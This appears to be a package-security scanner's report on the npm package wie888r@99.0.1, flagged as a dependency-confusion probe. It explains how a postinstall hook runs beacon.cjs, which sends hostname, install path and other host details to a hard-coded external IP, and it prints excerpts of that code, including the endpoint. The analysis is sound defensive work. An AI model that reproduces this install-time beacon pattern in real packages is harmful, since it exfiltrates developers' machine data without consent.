wie888r@99.0.1
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe source establishes automatic, unconsented metadata exfiltration during installation and import. This is a concrete data exfiltration behavior, so the package should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm postinstall or importing index.js.
Impact
The endpoint receives identifying details about the installing machine and project context without an explicit user action.
Mechanism
beacon.cjs collects hostname, install path, working directory, and npm version, then POSTs the payload to a hard-coded HTTP endpoint.
Attack narrative
The postinstall hook runs beacon.cjs automatically. That code sends host and project metadata to a hard-coded external HTTP endpoint. Importing the package also fires the beacon, although the exported proxy returns no-op functions.
AI rationale
The source establishes automatic, unconsented metadata exfiltration during installation and import. This is a concrete data exfiltration behavior, so the package should be blocked.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 97.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall script automatically runs beacon.cjs.
- beacon.cjs sends a POST to a hard-coded external IP address over HTTP.
- The payload includes the machine hostname, install path, working directory, package name, and npm version.
- Importing index.js also fires the beacon, while the export is a no-op proxy.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
High
Suspicious Lifecycle Evidence
The postinstall script automatically runs beacon.cjs.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "wie888r";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to wie888r@99.0.1.
See all versions of wie888r for other recorded verdicts.
- Avoid installing wie888r@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.